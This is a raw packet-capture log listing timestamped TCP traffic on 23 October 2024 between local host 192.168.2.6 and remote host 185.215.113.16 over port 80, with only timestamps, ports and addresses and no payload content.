Oct 23, 2024 17:51:22.778187990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.778222084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.778266907 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.778357983 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.778398037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.778409004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.778419018 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.778445005 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.778465986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.831945896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.831965923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.831985950 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.831999063 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832011938 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832014084 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.832047939 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.832238913 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832282066 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.832288027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832300901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832314968 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832334995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.832737923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832814932 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.832822084 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832962990 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832974911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832987070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.832999945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.833000898 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.833018064 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.833472013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.833484888 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.833496094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.833508015 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.833523035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.833549023 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.862549067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.862564087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.862612963 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.862657070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.862711906 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.903651953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.903661966 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.903671980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.903681040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.903691053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.903700113 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.903708935 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.903717041 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.903748035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.903994083 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.904009104 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.904020071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.904043913 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.904056072 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.949580908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.949593067 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.949604988 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.949615955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.949649096 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.949695110 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.949700117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.949783087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.949795008 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.949812889 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.949825048 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.949832916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.949839115 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.949862003 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.949881077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.950501919 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.950545073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.950556040 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.950587988 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.950592041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.950603962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.950623035 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.951091051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.951112986 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.951123953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.951150894 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.951179981 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:22.979908943 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.979933977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.979943991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:22.980005026 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.021153927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021197081 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021207094 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021226883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021238089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021246910 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.021255016 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021284103 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.021683931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021694899 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021723986 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.021861076 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021872997 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021884918 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021895885 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.021897078 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.021935940 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.022277117 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.022289038 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.022300959 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.022315979 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.022346973 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.066942930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.066955090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.066966057 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.066978931 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.067080975 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.067085028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.067131996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.067138910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.067226887 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.067271948 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.067282915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.067296028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.067307949 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.067337990 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.067365885 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.067678928 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.067715883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.067728043 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.067771912 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.068025112 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.068037033 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.068048954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.068063021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.068074942 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.068108082 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.068470955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.068483114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.068495989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.068528891 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.068543911 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.097641945 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.097676992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.097687960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.097698927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.097709894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.097758055 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.097815037 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.138700962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.138731003 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.138751030 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.138806105 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.138817072 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.138830900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.138842106 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.138859987 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.138890028 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.139240026 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.139254093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.139264107 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.139298916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.139298916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.139540911 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.139553070 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.139559031 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.139568090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.139580011 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.139604092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.139636040 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.184520006 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.184536934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.184549093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.184627056 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.184648037 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.184660912 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.184673071 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.184746027 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.184756994 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.184844971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.184844971 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.185116053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.185239077 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.185249090 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.185276985 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.185292006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.185328960 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.185342073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.185353041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.185379982 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.185688972 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.185710907 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.185719967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.185731888 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.185756922 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.186003923 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.186014891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.186026096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.186049938 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.214967012 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.214981079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.214991093 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.215033054 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.215063095 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.215065956 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.215096951 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.215109110 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.215141058 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.256330967 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.256341934 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.256360054 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.256371021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.256383896 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.256402969 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.256414890 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.256426096 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.256565094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.256565094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.256565094 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.257030010 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.257050991 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.257061005 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.257090092 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.257108927 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.257339954 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.257359028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.257401943 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.301814079 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.301841974 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.301851034 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.301862955 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.301913977 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.301953077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.302119017 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302131891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302144051 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302174091 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.302262068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302273989 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302284002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302319050 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.302355051 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.302527905 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302575111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302587032 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302598953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302609921 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.302634001 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.302659988 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.303201914 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.303214073 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.303224087 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.303261042 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.303292036 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.303580999 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.303601980 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.303613901 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.303623915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.303637028 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.303659916 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.303682089 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.332317114 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.332333088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.332341909 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.332459927 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.332470894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.332483053 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.332484961 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.332659006 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.374036074 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374067068 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374092102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374104023 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374190092 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374201059 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374280930 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374294996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.374301910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374294996 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.374352932 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.374456882 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374475002 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374530077 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.374694109 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374707937 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.374737978 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.399292946 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.415128946 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.415198088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.415210962 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.415224075 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.415280104 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.419385910 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419406891 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419419050 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419459105 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.419487953 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419502020 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419513941 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.419533968 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.419631004 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419642925 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419682980 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.419740915 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419802904 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419817924 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419852972 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.419939041 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.419981956 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.420042992 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.420121908 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.420135021 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.420172930 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.420360088 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.420370102 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.420412064 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.420466900 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.420485973 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.420497894 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.420523882 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.420543909 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.420546055 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.420559883 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.420594931 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.421005964 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.421053886 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.421066046 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.421077013 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.421103954 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.421133995 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.443891048 CEST	49763	80	192.168.2.6	185.215.113.16
Oct 23, 2024 17:51:23.449855089 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.449877977 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.449906111 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.449920893 CEST	80	49763	185.215.113.16	192.168.2.6
Oct 23, 2024 17:51:23.449922085 CEST	49763	80	192.168.2.6	185.215.113.16
